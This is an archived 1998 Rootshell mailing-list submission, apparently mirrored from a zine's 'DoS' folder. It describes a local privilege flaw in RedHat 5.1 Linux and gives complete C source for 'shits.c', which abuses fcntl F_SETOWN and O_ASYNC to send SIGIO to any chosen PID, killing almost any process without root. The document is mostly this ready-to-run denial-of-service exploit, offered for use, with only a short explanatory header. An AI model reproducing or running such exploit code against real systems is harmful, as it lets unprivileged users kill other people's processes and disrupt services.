home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / shits.c < prev    next >
C/C++ Source or Header  |  1998-12-09  |  1KB  |  48 lines

  1.  
  2. [ http://www.rootshell.com/ ]
  3.  
  4. From dibbler@umd.umich.edu Fri Nov 13 11:36:32 1998
  5. Date: Fri, 13 Nov 1998 14:25:29 -0500 (EST)
  6. From: Ryan Dibble <dibbler@umd.umich.edu>
  7. To: submission@rootshell.com
  8. Subject: kill almost any process in (RedHat 5.1) Linux without root
  9.  
  10. The code below will result in the termination of almost any process no
  11. matter who owns it. The good news is that init, kflushd, kswapd, and klogd
  12. appear not to be effected. In order to run this the user must have login
  13. access to the machine. This code has been tested on two different machines
  14. running RedHat 5.1 with the following packages:
  15.  
  16. kernel-2.0.34-0.6
  17. glibc-2.0.7-13
  18. glib-1.0.1-2
  19. glibc-debug-2.0.7-13
  20. glibc-devel-2.0.7-13
  21. glibc-profile-2.0.7-13
  22.  
  23. ===== BEGIN shits.c =====
  24. #include <fcntl.h>
  25. #include <errno.h>
  26. #include <stdio.h>
  27. #include <stdlib.h>
  28. #include <unistd.h>
  29.  
  30. int main(int argc, char *argv[]) {
  31.   int s, p;
  32.   if (argc != 2) {
  33.     fputs("Please specify a pid to send signal to.\n", stderr);
  34.     exit(0);
  35.   } else {
  36.     p = atoi(argv[1]);
  37.   }
  38.   fcntl(0,F_SETOWN,p);
  39.   s = fcntl(0,F_GETFL,0);
  40.   fcntl(0,F_SETFL,s|O_ASYNC);
  41.   printf("Sending SIGIO - press enter.\n");
  42.   getchar();
  43.   fcntl(0,F_SETFL,s&~O_ASYNC);
  44.   printf("SIGIO send attempted.\n");
  45.   return 0;
  46. }
  47. ===== END shits.c =====
  48.